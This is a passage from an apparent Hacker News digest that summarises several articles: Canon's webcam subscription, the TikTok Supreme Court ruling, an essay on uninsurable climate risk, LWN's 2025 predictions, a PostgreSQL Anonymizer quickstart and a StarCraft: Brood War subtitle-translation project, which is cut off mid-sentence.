10 interesting stories served every morning and every evening.
Hey Hacker News! Thanks for the feedback and suggestions, looks like many of you feel the same way. Also there’s now a RSS feed.
Companies squeezing every last penny out of their customers is no news. And Canon is no stranger.
Last year, I’ve bought a Canon G5 X II camera which I wanted to use mainly for taking pictures at concerts. For me, it was the perfect match of focal range (zoom) and sensor size (more light) for any compact camera I’ve compared.
Because I’m only using this camera for a small range of events, it’s just collecting dust in the meantime.
So, why don’t use it as a webcam with my Macbook?
Admittedly, it did not cost me the $6300 from the article’s title, much closer to $900. Nonetheless, everything I’m describing translates to every other Canon camera model!
I’ve tried this at first in 2024 with macOS 14, which did not work. I had similar experience with FUJIFILM’s X Webcam software where either the camera will not get recognized by the software or the camera feed will freeze or simply be not available within other apps.
As of January 2025 with macOS 15 Sequoia, these issues have been resolved for me.
Well actually, only if you are able to download the software at all. Seems like their Microsoft IIS server is having some issues. The following error page will be presented to you, after they asked you for your full legal name and mail address - without which you can not download the software.
So I’ve been really excited when I finally found a downloadable file on the Canon webpage which was not blocked by a faulty newsletter grift and saw the live feed of my camera!
Well the excitement didn’t last long since nearly every single setting is disabled if you’re using the software without a paying Canon account.
No brightness adjustments, no color correction, only 720p. Even in the paid version there doesn’t seem to be a white balance adjustment setting.
Canon will happily take your credit card for you to pay a small monthly price of $4.99 per month or even a discounted $49.99 per year!
** The 30-day free trial is valued at $4.99 and can be cancelled at any time during the free trial period through your MyCanon Account Dashboard. After the free trial period, your subscription will automatically be rolled over into the annual or monthly non-refundable, auto-renewable subscription selected upon enrollment in the free trial, which can be cancelled at any time through your MyCanon Account Dashboard. The current available subscription plans are $49.99/year or $4.99/month.
In a support document, Canon lists all differences between the free and paid version. So you can be very gladful, they allow you to even connect the camera.
Software development isn’t free, and I’m happy to pay for software I use regularly. However, Canon is a hardware company, not a software company, and they should—due to the lack of standards—provide software that allows you to use their cameras as intended. Aside from development costs, there’s no justification for a subscription model, particularly from a company earning nearly $3 billion in profit.
So Canon will not allow you to use your own camera on your own computer with your own cables the way you intent to without paying for another subscription.
...
Read the original on romanzipp.com »
If you feel like this example could be improved, you may edit this example here.
...
Read the original on ffmpegbyexample.com »
The Supreme Court on Friday upheld the law requiring China-based ByteDance to divest its ownership of TikTok by Sunday or face an effective ban of the popular social video app in the U. S.
ByteDance has so far refused to sell TikTok, meaning many U. S. users could lose access to the app this weekend. The app may still work for those who already have TikTok on their phones, although ByteDance has also threatened to shut the app down.
In a unanimous decision, the Supreme Court sided with the Biden administration, upholding the Protecting Americans from Foreign Adversary Controlled Applications Act, which President Joe Biden signed in April.
“There is no doubt that, for more than 170 million Americans, TikTok offers a distinctive and expansive outlet for expression, means of engagement, and source of community,” the Supreme Court’s opinion said. “But Congress has determined that divestiture is necessary to address its well-supported national security concerns regarding TikTok’s data collection practices and relationship with a foreign adversary.”
TikTok’s fate in the U. S. now lies in the hands of President-elect Donald Trump, who originally favored a TikTok ban during his first administration, but has since flip-flopped on the matter. In December, Trump asked the Supreme Court to pause the law’s implementation and allow his administration “the opportunity to pursue a political resolution of the questions at issue in the case.”
In a post on his social media app Truth Social, Trump wrote that the decision was expected “and everyone must respect it.”
“My decision on TikTok will be made in the not too distant future, but I must have time to review the situation. Stay tuned!” Trump wrote.
Trump began to speak more favorably of TikTok after he met in February with billionaire Republican megadonor Jeff Yass. Yass is a major ByteDance investor who also owns a stake in the owner of Truth Social.
Trump will be inaugurated Monday, one day after the TikTok deadline for a sale. TikTok CEO Shou Chew is one of several tech leaders expected to be in attendance, seated on the dais.
In a video posted on TikTok, Chew thanked Trump “for his commitment to work with us to find a solution that keeps TikTok available” in the U. S. He said use of TikTok is a First Amendment right, adding that over 7 million American businesses use it to make money and find customers.
“Rest assured, we will do everything in our power to ensure our platform thrives as your online home for limitless creativity and discovery as well as a source of inspiration and joy for years to come,” he said.
...
Read the original on www.cnbc.com »
I ask the question, “is the world becoming uninsurable?” not as an expert on the insurance industry but as a homeowner who can no longer obtain hurricane insurance, and as an observer of long-term trends keenly interested in the way global risks pile up either unseen, denied or misinterpreted until it’s too late to mitigate them.
The probability that we’re entering an era of globally higher risks is increasing, and this is awareness is visible in headlines such as these:
Home Losses From the LA Fires Hasten ‘An Uninsurable Future’ (Time)
The Age of Climate Disaster Is Here: Preparing for a Future of Extreme Weather (Foreign Affairs)
‘We’re in a New Era’: How Climate Change Is Supercharging Disasters (New York Times)
This is not an abstraction, though many are treating it as a policy debate. As noted previously here, the insurance industry is not a charity, and insurers bear the costs that are increasing regardless of opinions and policy proposals. Insurers operate in the real world, and their decisions to pull out of entire regions, reduce coverage and increase premiums are all responses to soaring losses, a reality reflected in these charts.
Losses rise with inflation, of course, but the losses are rising far above background inflation.
This raises a point few seem to ponder: the world isn’t simply a political structure, yet virtually all the proposed solutions to every problem are political or technological in nature: we can solve this or that politically, or with AI. That the private-sector can trigger crises that have no political or technological fix is on very few pundits’ radar.
Uninsurable risk is one such problem.
Like virtually all problems, it’s been approached as a problem with a political solution: the state or federal government can force insurers to continue offering policies that put them on the hook for additional catastrophic losses, and / or become “insurers of last resort.”
That neither is a solution to the actual problem is glossed over, because as a society, we’ve become accustomed to the idea that there is a political solution to all problems.
So the California authorities have prohibited insurers from cancelling coverage within the fire zones:
“California Insurance Commissioner has issued a mandatory one-year moratorium that will prohibit insurance companies from enacting non-renewals and cancellations of coverage for home owners within the perimeters or adjoining ZIP Codes of the Palisades and Eaton fires in Los Angeles County regardless of whether they suffered a loss. The moratorium will expire on Jan. 7, 2026.”
As for becoming the “insurer of last resort,” states are finding providing such coverage is a financial black hole:
The wildfires lay bare an insurance crisis in California.
“Even before this week’s wildfires, officials in the region had warned that the California FAIR plan, a state-run insurer of last resort that has increasingly become a main source of coverage for residents, was “one bad fire season away from complete insolvency.”
The FAIR plan’s exposure soared by 61 percent year-on-year to $458 billion by the end of September, according to Mr. Heleniak. Driving that is the flight of insurers from the California market: Between 2020 and 2022, private insurers dropped coverage for 2.8 million home insurance customers, Mr. Heleniak wrote.
One problem for insurers and Californians: Unlike hurricanes, wildfires are harder to model, ratcheting up the risk.”
The problems being exposed do not lend themselves to tidy political / policy fixes that magically return the world to a past era of lower risks. Risks and losses cannot be extinguished, they can only be transferred to others. This is the intrinsic limit of political fixes: we take the risks and losses and transfer them to others lacking the political power to contest the transfer.
Or we transfer the risks and losses to the entire system, increasing the potential for a systemic collapse.
Consider the realities of acting as the “insurer of last resort.” The insurance industry is built on a foundation of a handful of re-insurance companies that provide insurance to insurers should losses overwhelm the expected norms.
If re-insurers decide not to offer coverage due to high risks or risks that cannot be estimated with any reliability, then the “insurer of last resort” is self-insuring all potential losses, meaning if the house will cost $500,000 to rebuild, $500,000 in cash must be kept in reserve, because there is no guarantee a lender will risk offering a mortgage without conventional insurance.
If the state or federal government offers an open checkbook–we’ll pay any and all losses, no questions asked–then those ultimately paying these astronomical bills–the taxpayers–will reasonably ask: why are we subsidizing people to rebuild in places that are clearly no longer habitable due to the probabilities of another fire, flood or hurricane?
In other words, the entire idea of being an “insurer of last resort” is based on an unlimited supply of money to fund losses that no longer make financial sense. If rebuilding a house destroyed in a “100 year flood” once made sense, now that there’s a “100 year flood” every five years, rebuilding in that locale no longer makes sense. So why should taxpayers absorb the costs of this selective blindness to the realities of rising global risks?
This is not the first time climate change has impacted civilization in ways that are not visible to or accepted by those living through the transition.
The early 1600s were an era of global crises, conflict and collapse, largely driven by cooler weather that reduced crop yields and thus the caloric intake of people, leaving them more prone to succumbing to disease and more willing to overthrow their rulers. For their part, this made rulers more willing to risk war and make hasty, ill-advised decisions that accelerated the crises.
The book Global Crisis: War, Climate Change and Catastrophe in the Seventeenth Century by Geoffrey Parker offers a comprehensive overview of these dynamics.
Another era in which risks rose without participants realizing that global circumstances were pressuring economies and societies adversely nearly brough the Roman Empire to its knees: the Third Century Crisis, “a period in Roman history, spanning roughly from 235 to 284 AD, where the Roman Empire nearly collapsed due to a series of internal civil wars, barbarian invasions, economic instability, and a chaotic succession of emperors.”
The emergence of polycrisis fueled by climate change and globalized trade (which delivers instability and pandemics along with goods) has been ably described by Kyle Harper, in this Smithsonian magazine article
How Climate Change and Plague Helped Bring Down the Roman Empire
and in his 2019 book, The Fate of Rome: Climate, Disease, and the End of an Empire.
Ours is an era soaked in the hubris of “no limits”: there are no limits on human ingenuity, and so there are no limits on what we can do in the real world. Limits are anathema in today’s zeitgeist, and so the idea that Nature imposes limits that manifest as financial limits–go ahead and print $100 trillion to fund every “no limits” proposal, but that will destroy the value of all the “money” we’re creating to fund “no limits”–is unacceptable.
In times less allergic to limits and more willing to face financial realities, people accepted that it made no sense to build more than seasonal shacks along coastlines prone to devastation. To give up permanent residences with air conditioning and all the luxuries of modern life because these no longer make financial sense is a taboo topic.
I have long held that the world has been blessed with 60+ years of beneficial weather, and so we’ve been blessed with 60+ years of agricultural surpluses globally. It seems likely this era is ending, and we’re as yet unprepared for this contingency: food might become not just scarce but chronically scarce.
As I’ve noted previously, diesel-fueled robots can roam the field zapping weeds with lasers, but what’s the point of that technology if there’s no rain or high winds and heavy rain destroyed the harvest? That there are limits on our technological powers is also taboo. Diesel doesn’t deliver the right amount of rain, and neither does AI.
It wasn’t coincidence that the Bastille was torn down just as the price of bread spiked to unaffordability. Scarcities, shortages, rising prices and the illusions of “no limits” all reinforce each other. And since the participants either don’t grasp or refuse to accept the nature of the new era of rising risk, they seek scapegoats in what they do grasp: politics, policies, and the transfer of losses and risk to others.
As I’ve often sought to explain, transferring losses and risk to the entire system seems to extinguish the risk by diluting it in a larger pool of resources. So the losses triggered by the Global Financial Crisis of 2008 were absorbed by the entire financial system and economy, pools of resources large enough to dilute the losses to the point that the illusion that the risk had vanished could be sustained.
But risk isn’t extinguished, it’s only transferred, and how it manifests is based on complex interactions, dependency chains, over-optimization and the erosion of resilience. The risks of a global financial meltdown didn’t vanish in 2009; those risks were transferred to the system as a whole, a transfer that continues to this day, as risk piles up in a systemic fashion few see, or dare to recognize.
This same reluctance to recognize system risk is evident in global supply chains, the global food supply, and every other tightly bound, highly interconnected system we depend on.
Is the world becoming uninsurable? The answer is yes, in two ways. One is the reality that much of what we take as our God-given right no longer makes financial sense, and eventually the costs of clinging onto a status quo that no longer aligns with real-world limits will have to be covered by taking resources and capital from something else we take as our God-given inheritance.
It boils down to the classic scenario in which we want three things but are limited to choosing two. Once system risks start manifesting, we’ll be reduced to saving one and sacrificing two. If we refuse to accept that triage, we’ll end up saving nothing.
The other way the world is becoming uninsurable is much of what we take for granted–abundant, affordable resources, products, food and fuel, for example–is not guaranteed, and cannot be insured by political or technological means. This won’t stop us from pursuing the hubristic extremes of “no limits,” but that pursuit will hasten the collapse made inevitable by transferring all risks to the system. The pool of resources is not infinite, and so the risks can no longer be diluted.
Highlights of the Blog
The Easy Credit, High Interest Rate Swindle 1/9/25
I Quit! The Tsunami of Burnout Few See 1/7/25
High Interest Rates Are Healthy, Low Rates Are Poison 1/6/25
Best Thing That Happened To Me This Week
We opened and grated some of our coconuts after a long hiatus, and baked coconut shortbread cookies and a coconut pie to share with friends.
The missing cookies were sampled for “quality control purposes” (heh).
Few people make these treats nowadays because there is no way to obtain the results without a lot of labor.
What’s on the Book Shelf
The Fate of Rome: Climate, Disease, and the End of an Empire.
Global Crisis: War, Climate Change and Catastrophe in the Seventeenth Century.
From Left Field
NOTE TO NEW READERS: This list is not comprised of articles I agree with or that I judge to be correct or of the highest quality. It is representative of the content I find interesting as reflections of the current zeitgeist. The list is intended to be perused with an open, critical, occasionally amused mind.
Many links are behind paywalls. Most paywalled sites allow a few free articles per month if you register. It’s the New Normal.
The Mismeasure of Money
The “Grand Macro Strategy” Of 2025: What US Economic Statecraft Will Look Like Under Trump
The rise and rise of Maye Musk: China’s love affair with Elon Musk’s mother
The Telepathy Tapes (via Richard M.)
Husserl vs. Heidegger: Two Takes on Phenomenology
He’s anti-democracy and pro-Trump: the obscure ‘dark enlightenment’ blogger influencing the next US administration
The Depletion Paradox (via Cheryl A.)
FEDERAL FUNDS RATES AND SOLAR ACTIVITY (1955-2024): EVIDENCE OF A VERY HIGH CORRELATION (via Atreya)
America, China, and the Death of the International Monetary Non-System (Russell Napier)
I found treasures in a shipwreck.
As Flames Consume Architectural Gems, a Hit to ‘Old California’
“You should never play to win but so as not to lose. Think what moves will be quickest beaten, avoid making them, and make whatever move will take most time to beat. In learning any accomplishment, in controlling one’s own conduct, and in governing a nation, the same rule applies.” Yoshida Kenko
...
Read the original on charleshughsmith.substack.com »
Welcome to Learn Yjs — an interactive tutorial series on building realtime collaborative applications using the Yjs CRDT library.
This very page is an example of a realtime collaborative application. Every other cursor in the garden above is a real live person reading the page right now. Click one of the plants to change it for everyone else!
Learn Yjs starts with the basics of Yjs, then covers techniques for handling state in distributed applications. We’ll talk about what a CRDT is, and why you’d want to use one. We’ll get into some of the pitfalls that make collaborative applications difficult and show how you can avoid them. There will be explorable demos and code exercises so you can get a feel for how Yjs really works.
Here’s an example of an explorable demo. Each box below represents a client — a separate computer running an app that uses Yjs. When you interact with either client, the changes are automatically synced to the other one. You can control the latency with the slider on the top left to see how clients would interact over a network.
Great — let’s get started! Click on the button below to visit Lesson 1.
Learn Yjs is a project by Jamsocket, a platform for building realtime apps. The live cursors and multiplayer garden on this page are powered by Y-Sweet, our open source Yjs server with built-in persistence.
The website is built with Astro. The interactive demos and exercises are built with React and Yjs.
...
Read the original on learn.yjs.dev »
...
Read the original on www.answer.ai »
Did you know…?
LWN.net is a subscriber-supported publication; we rely on subscribers to keep the entire operation going. Please help out by buying a subscription and keeping LWN on the net.
We are reliably informed by the calendar that yet another year has begun.
That can only mean one thing: the time has come to go out on a limb with a
series of ill-advised predictions that are almost certainly how
the year will actually go. We have to try; it’s traditional, after all.
Read on for our view of what’s coming and how it may play out.
The extensible scheduling class (sched-ext) will be a game changer. Already we have seen, in 2024, how the ability to load a CPU scheduler from user space as a set of BPF programs has unleashed a great deal of creativity; that was before sched-ext was part of a released kernel. In 2025, this feature will start showing up in more distributions, and more people will be able to play with it. The result will be a flood of new scheduling ideas, each of which can be quickly tested (and improved) on real systems. Some of those ideas will result in specialty schedulers included with focused distributions (systems for gaming, for example); others, hopefully, will eventually find their way into the kernel’s EEVDF scheduler.
Code written in Rust will land in the kernel at an increasing rate
over the course of the year as a result of the increased availability of abstractions and greater familiarity with the language in the kernel community. The Rust code that has been merged so far is mostly infrastructure and proofs of concept; in 2025, we’ll see Rust code that end users will run — but they may never notice. The number of unstable language features needed by the kernel will drop significantly as those features are stabilized by the Rust community.
Another XZ-like backdoor attempt will come to light. Existing code bases have been scoured for attacks similar to those used against XZ; little has been found, but that does not mean that there are not other ongoing efforts, using different techniques, out there. The potential payoff for a government agency or other suitably well-funded organization is simply too high for all of them to ignore; somebody is surely trying something.
Increasingly, single-maintainer projects (or subsystems, or packages)
will be seen as risky by their users. Security incidents like the XZ backdoor attempt will be part of that, but a project with a single maintainer is also subject to all of the other problems associated with burnout and insufficient time to do the job properly. Such a project will never be as reliable as one would like.
A major project will discover that it has merged a lot of AI-generated
code, a fact that may become evident when it becomes clear that the alleged author does not actually understand what the code does. We depend on our developers to contribute their own work and to stand behind it; large language models cannot do that. A project that discovers such code in its repository may face the unpleasant prospect of reverting significant changes.
Meanwhile, we will see more focused efforts to create truly free
generative AI systems, perhaps including the creation of one or more foundations to support the creation of the models. This work will include a great deal of innovation focused on reducing the resources that these models need, driven by the much lower level of resources available. The resulting code will help to increase the access to — and control over — these systems, with unknown results; not everybody will use them for good purposes.
We may also see the launch of one or more foundations aimed specifically
at providing support for maintainers. Even companies that contribute enthusiastically to free-software projects often balk at supporting the maintainer role, despite the fact that projects don’t work without maintainers. But perhaps some of those companies can be encouraged to support a separate entity that promises to solve — or at least improve — the maintainer situation for specific projects of interest. The maintainer role will still be severely under-supported at the end of the year, though.
Foundations supporting free-software work will continue to struggle
in 2025, though, continuing the trend seen in 2024. The coming year does not look like a time of increasing generosity in general, so organizations that depend on the generosity of others will have their work cut out for them.
There will be more cloud-based products turned to bricks by manufacturers that go bankrupt or simply stop caring. Surveillance and data-breach problems with cloud-connected products will also happen with discouraging regularity over the course of the year; see the stories on air-fryer
surveillance or the Volkswagen
electric-vehicle data leak for recent examples. Perhaps 2025 will be the year when awareness of the downsides of extensive cloud connectivity will become more widespread. There is an opportunity for free-software alternatives, such as Home
Assistant, to make inroads by demonstrating a better way to manage personal data. Truly taking advantage of that opportunity will require a user focus that is not always our community’s strong point, but one can always hope.
As a corollary to the above, more fully open hardware will become
available in 2025. The OpenWrt One, which hit the market in 2024, quickly sold out its initial production run. There is clearly an appetite for hardware that can be truly owned by its purchasers, and our community has the skills and tools needed to make such hardware. Expect some interesting projects to launch in the coming year.
Distributions for mobile devices will see a resurgence in interest
in the coming year. In the early days of Android, it was common to replace a phone vendor’s software with CyanogenMod or another derivative; it was the best way to get the most control and functionality out of the device. As Android improved, many of us stopped going to that extra effort. Increasing privacy and security concerns, paired with increasing quality on the part of the alternative distributions, will start to drive some users away from stock Android once again.
Finally, global belligerence will make itself felt in our community. The world as a whole does not appear to be headed in a peaceful direction; even if new conflicts do not spring up, the existing ones will be enough to affect the development community. Developers from out-of-favor parts of the world may, again, find themselves excluded, regardless of any personal culpability they may have for the evil actions of their governments or employers.
This is being written in the US, where politics have taken a distinct “us versus them” turn; such trends are not limited to this country, though. That attitude runs strongly against the foundations our community was built on; we are building systems for everybody, accepting the contributions of anybody who is willing and able to help. We have shown that it is possible to build a global community that can accomplish amazing things and change the world. This coming year would be a good one in which to show that we are still capable of doing that. As some strive to tear our institutions down, we can work to make our institutions stronger than ever.
LWN will begin its 27th year of publication in January; we are one institution that is proud to have been a part of the Linux and free-software communities for so long, and we have no intention of stopping now. Whatever happens in 2025, we’ll be here to write about it and, hopefully, spread some light and understanding. And, of course, we’ll return to these predictions in December to have a good laugh at just how far off they turned out to be.
Best wishes to all of you; LWN would not be what it is without our readers. We wish an especially happy and prosperous 2025 to our subscribers; without you, we would not have been around for all these years.
...
Read the original on lwn.net »
PostgreSQL Anonymizer is an extension to mask or replace
personally identifiable information (PII) or commercially sensitive data from a Postgres database.
The project has a declarative approach of anonymization. This means you can
declare the masking rules using the PostgreSQL Data Definition Language (DDL) and specify your anonymization policy inside the table definition itself.
The main goal of this extension is to offer anonymization by design. We firmly believe that data masking rules should be written by the people who develop the application because they have the best knowledge of how the data model works. Therefore masking rules must be implemented directly inside the database schema.
Once the masking rules are defined, you can apply them using 5 different
masking methods :
Each method has its pros and cons. Different masking methods may be used in different contexts. In any case, masking the data directly inside the PostgreSQL instance without using an external tool is crucial to limit the exposure and the risks of data leak.
In addition, various Masking Functions are available : randomization, faking, partial scrambling, shuffling, noise or even your own custom function!
Finally, the extension offers a panel of detection functions that will try to guess which columns need to be anonymized.
ANON_IMG=registry.gitlab.com/dalibo/postgresql_anonymizer
docker run –name anon_quickstart –detach -e POSTGRES_PASSWORD=x $ANON_IMG
docker exec -it anon_quickstart psql -U postgres
Step 1. Create a database and load the extension in it
CREATE DATABASE demo;
ALTER DATABASE demo SET session_preload_libraries = ‘anon’
\connect demo
You are now connected to database “demo” as user “postgres”.
CREATE TABLE people AS
SELECT 153478 AS id,
‘Sarah’ AS firstname,
‘Conor’ AS lastname,
‘0609110911’ AS phone
SELECT * FROM people;
id | firstname | lastname | phone
153478 | Sarah | Conor | 0609110911
Step 3. Create the extension and activate the masking engine
CREATE EXTENSION anon;
ALTER DATABASE demo SET anon.transparent_dynamic_masking TO true;
CREATE ROLE skynet LOGIN;
SECURITY LABEL FOR anon ON ROLE skynet IS ‘MASKED’;
GRANT pg_read_all_data to skynet;
SECURITY LABEL FOR anon ON COLUMN people.lastname
IS ‘MASKED WITH FUNCTION anon.dummy_last_name()’;
SECURITY LABEL FOR anon ON COLUMN people.phone
IS ‘MASKED WITH FUNCTION anon.partial(phone,2,$$******$$,2)’;
\connect - skynet
You are now connected to database “demo” as user “skynet”
SELECT * FROM people;
id | firstname | lastname | phone
153478 | Sarah | Stranahan | 06******11
With PostgreSQL Anonymizer we integrate, from the design of the database, the principle that outside production the data must be anonymized. Thus we can reinforce the GDPR rules, without affecting the quality of the tests during version upgrades for example.
— Thierry Aimé, Office of Architecture and Standards in the French
Public Finances Directorate General (DGFiP)
Thanks to PostgreSQL Anonymizer we were able to define complex masking rules in order to implement full pseudonymization of our databases without losing functionality. Testing on realistic data while guaranteeing the confidentiality of patient data is a key point to improve the robustness of our functionalities and the quality of our customer service.
I just discovered your postgresql_anonymizer extension and used it at my company for anonymizing our user for local development. Nice work!
If this extension is useful to you, please let us know !
We need your feedback and ideas ! Let us know what you think of this tool, how it fits your needs and what features are missing.
You can either open an issue or send a message at contact@dalibo.com.
...
Read the original on postgresql-anonymizer.readthedocs.io »
As work slowed down during the last couple of weeks of 2024, I decided to redirect some of my energy to hobbies instead of work. One such hobby is StarCraft: Brood War (or BW for short), a classic, highly competitive RTS from ’98 that still has an active community today. Over those couple of weeks, I was able to make great progress in solving a decades-old problem in the BW community, using a mix of LLMs and free (gratis*) software.Understanding the cultural context BW exists in is crucial to understand the rest of this post. High-level BW is — for all intents and purposes — a Korean game. The overwhelming majority of professional players, teams, and tournaments (as well as most of the passionate audience and community) are based in Korea, and have been for 20+ years. This is so ingrained in the BW culture that us members of the community who are not Korean call ourselves “foreigners,” a slightly self-condescending term.Similarly to chess, BW is a game of strategy with a long history of recorded games. As such, playing the game is only half the challenge; studying it just as important (especially at higher levels of play). For decades, the BW community (both Korean and foreigner) has watched and analyzed professional matches from years past and derived valuable strategic insights from them. Note: given the nature of BW as a video game, much of the modern discourse takes place in videos and live streams published by professional BW players.Continuing to use chess as an analogy, you might know that chess openers are collections of well-studied first moves for chess. The interactions between white-piece openers and black-piece openers have been analyzed for decades (centuries?), and their study is considered fundamental for beginner and intermediate chess players. The only aspect of these openers you need to focus on for this post is how these openers shape the language used by the chess community. Terms like “Sicilian defense”, and its “Najdork variation”, “Dragon variation”, or “Accelerated Dragon variation” are all community-developed names. None of these terms are written in the rules of chess. They are part of a domain-specific language the community itself has developed, condensing and communicating the aforementioned decades of study and analysis effectively.This association of language and history, combined with the great divide between the Koreans and “foreigners,” leads us to what is commonly called the Foreigner Knowledge problem.Very few of members of the foreigner community are fluent in Korean. Foreigner access to Korean BW discourse is a contradicting concept: if you speak Korean fluently, you have no reason to be in the foreigner community, as it only has access to material that is strictly inferior and more limited. For this reason, Korean-speaking members in the foreigner community are exceedingly rare.In an effort to gain access to the Korean discourse, we have crowdfunded money to pay these (acquiescing) Korean-speaking foreigners to translate the subtitles of YouTube videos. Everyone involved knows the translation work is taxing and slow, and that the pay is objectively terrible. Nevertheless, this approach has afforded the community a few dozen videos a year to be translated.As an alternative, we have relied on machine translation of text content instead. While machine translation tools like Google Translate are good at translating everyday sentences, they are ill-suited for domain-specific languages, as they are full of jargon to which the translation tool has not been exposed. To add insult to injury, translating such jargon literally is actually counter-productive.To illustrate this, here’s an excerpt of the subtitles from a Korean video tutorial, about the BW-equivalent of an opener (called a build order, or simply build):And here is the Google Translate version:Hello, today’s lecture is about the 12 courtyard build. I will briefly but in detail explain the types, pros and cons of the 12 courtyard, and the build order. In the Toss match, it is the build used when you want to start the most affluently. In the Terran match, there are various builds that can be done with the 12 courtyard. So I will tell you about some of the most used builds. The first is the two-processing build, which starts with the 12 courtyard. 12 courtyard 11 spawning pool 10 gas Now, this is a build that utilizes fast gas. This build is often used when playing with the two-processing build while quickly bringing the 3-processing to the 3-gas multi. The second is the 12 pressure 12 pool 12 gas moderately fast tech tree and moderately fast 3-processing build. 12 pressure 12 gas moderately fast tech tree and moderately fast 3-processing build. In the case of this build, many people talk about it as a build that is fast at both Mutalisk and 3-point processing.You might be confused if you are not a BW player. Consider yourself lucky, because I promise you you’d be flabbergasted if you did play the game.Anyone familiar with BW will tell you that translation’s signal-to-noise ratio is well below 1/9000. There are no “courtyards” in BW. “Starting off the most affluently” is an awkward and verbose way to say “this is an economic opener/build.” What the hell is a “3-point processing”?!Sure, there are a few other recognizable… utterances, such as “Toss” (Protoss), “build”, “fast gas”, “moderately fast tech-tree” and “Terran” — but the overwhelming majority of it has been translated literally and is nothing but noise, destroying any context that might have redeemed those few recognizable bits.The combination of poor automatic subtitles and literally-translated jargon has caused the Foreigner community to lag behind the Korean community for decades.This is what we are now able to achieve with my new machine translation process:Hello, today’s lecture will cover the 12 Natural build. I’ll explain the types, pros, and cons of the 12 Natural build and provide a simple yet detailed build order. This build is used when you want to start the most economically against Protoss. Against Terran, there are multiple builds you can use with the 12 Natural. I’ll go over some of the most popular ones. The first one is the two-Hatchery build. Starting with the 12 Natural allows for the most economically strong opening. The 12 Natural goes with an 11 Spawning Pool and a 10 Gas. This is a build utilizing fast gas. It’s often used to play with a quick third Hatchery and three gas expansions when doing the two-Hatchery build. The second is the 12 Hatch, 12 Pool, 12 Gas. It’s a balanced build with a moderate tech tree and a moderately fast third Hatchery. First, I’ll briefly talk about a quick defense build strategy. Next, we’ll discuss how you can manage resources optimally for this setup and handle transitions smoothly. Though there are risks, it allows for a stable and dynamic approach in longer games. Even for non-players, the above translation should be much more reasonable than the previous Google Translate version. For BW players, it is immediately clear what the video is about. While this is by no means a perfect translation (there are improvements to be made, as will be noted in the footer of this post), the signal-to-noise ratio has been dramatically reduced.Furthermore, in contrast to the previous pace of a few dozen videos a year, I ended up translating about 7 videos in a single day. As a single person. During my spare time.The least I can say is: from now on, this is the worst this will ever be!The process is divided into two parts: producing subtitles, and consuming subtitles. The “production” part is aimed at members of the community who are up to date with the Korean content, and know which videos should be prioritized. The “consumption” part is aimed at everyone else who simply want to watch the translated videos.I initially used yt-dlp to download YouTube’s automatic Korean subtitles to try and translate them. As shown above, though, they are useless. So instead of downloading the subtitles, I use yt-dlp to download the audio track of the videos.With the audio tracks downloaded, I transcribed my own subtitles from them using Whisper. I am not sure why, but transcribing the Korean subtitles using AI (rather than whatever it is YouTube uses) provided much more clean and complete results. It also seems to do a better job of ignoring in-game sounds and other noise (such as mouse clicks).When I first started developing this process, I was running Whisper locally, using ~10GB of VRAM. I quickly saw that this would be far too restrictive if I wanted to have others collaborators translating (install Python on Windows, create a venv, install CUDA, install git…). So, I decided to find an alternative.Whisper is installed through Python’s pip, and Google Colab is not just a free Jupyter notebook service — it also offers free GPUs, which happen to have just enough VRAM to run Whisper!Creating a notebook and sharing a parameterized, read-only version of it was an ideal distribution model for this kind of work. With a little documentation, it allowed non-technical people to run it effortlessly, no matter their hardware. Furthermore, I could update the notebook with features (aka bugs), and people would receive those updates automatically (ie. making it even more accessible, no git cloning, no constant downloads).The notebook I created receives one parameter — the YouTube URL — and generates+downloads an SRT file in Korean.All of this was neat, but I still hadn’t done the fundamental work of translating from Korean to English.To say that this entire project stands on the shoulders of giants would be an understatement.TeamLiquid (TL) is the longest, oldest foreigner (or at least, american) BW community. As it turns out, sometime around 15 years ago, one TL member called konadora created a forum post with a dictionary of “BW slang used by commentators.” I copied the post into a simple markdown file, KoreanSlang.txt, and provided it to the modern era’s favorite piece of technology: an LLM!Despite the multiple (and multiplying) misuses of LLMs, this problem was fundamentally a language problem, which is a perfect use of LLMs.I will give you subtitles for you to translate from Korean to English, using the “KoreanSlang.txt” file for support. Always consider that the content you are translating exists within the context of Starcraft: Brood War. Feel free to adapt the translation, as clarity is more important than a literal translation. Always respect the timestamps and the file formatting, but feel free to correct duplicate subtitles or obvious mistakes. Short “translator notes” may be welcome if appropriate (embedded as subtitles). Do not add quotation marks if they were not present originally. Some of the subtitles may have some noise or errors; please replace them with “(unintelligible)” if you find them. Format the output as code (ie. surrounded by triple back-ticks) for easier copy-pasting.And a Pro (Premium? Plus? who knows) ChatGPT account, it was a simple matter of providing the Korean subtitles generated by Whisper, and asking it to translate its contents.At first, I simply took translated subtitles, downloaded the corresponding video, and applied them using my local video player — which meant that, once again, I had to figure out a way to make these subtitles accessible to others.Note: No altruism or aspiration for good product design played a part in this. My ISP imposes a data cap, and charges me double if I ever exceed it — so downloading videos left and right was not an option! >:(A big consideration is that YouTube has its own subtitles feature, but only the video owner can set or update a video’s subtitles. Wanting to avoid the whole download, re-upload, set subtitle work cycle, I decided to build a solution that was accessible and saved me time (and bandwidth).I wrote a UserScript that adds a button to YouTube videos, and downloads the corresponding translated subtitles if they exist. It is able to parse SRT and VTT files, and shows them in a tiny little container below the YouTube player.It looks like a button straight from Web 1.0, and I love it. I call it the BWKT Client.And, well… the mention of a Client implies the existence of a Server.Subtitles are fundamentally text files, and I needed a quick and easy way to share text files. Pastebin immediately came to mind as a potential candidate, if only for the proof-of-concept. It is simple to use, I have a premium account for it, and I did not (and still do not) expect traffic to be a concern in any way.Note: there is nothing more permanent than a temporary solution.All I need is two columns: YouTube URL, and Subtitle URL (and maybe a third column, Language, but that’s for later). Using Google Sheets as a database is ideal for this use case, as it is extremely easy to manually inspect and update, and it is also trivial to share with others. The cherry on top is Google’s Apps Script, which is basically a JavaScript runtime that has first-party access to Google Workspace, which includes Google Sheets; and it has a built-in web server to boot!It was literally a matter of writing function doGet(req) { /* … */ } , which receives a YouTube video ID (the eleven-character identifier at the end of https://youtube.com?v=XXXXXXXXXXX), and returns the corresponding pastebin URL.There are certainly improvements to be made. I still see this project as a hacked-together contraption built over the course of two weeks, with a budget of ~$30 USD (I paid for ChatGPT and more GPU time in Colab, neither of which are strictly required but were nice to have).One such improvement is supporting multiple languages in the UserScript. After all, the Foreigner community comprises not just American players, but also Mexican, Polish, Romanian, Chinese, Taiwanese — there’s dozens of languages that these videos could be translated to, and it would take only a small amount of effort to do.There are technical improvements to be made as well. For example: right now, the BWKT Client shows the button below every YouTube video, even if subtitles are not available for that particular video. I could (should?) add another endpoint to the AppsScript web server that returns an index of translated videos, and then the 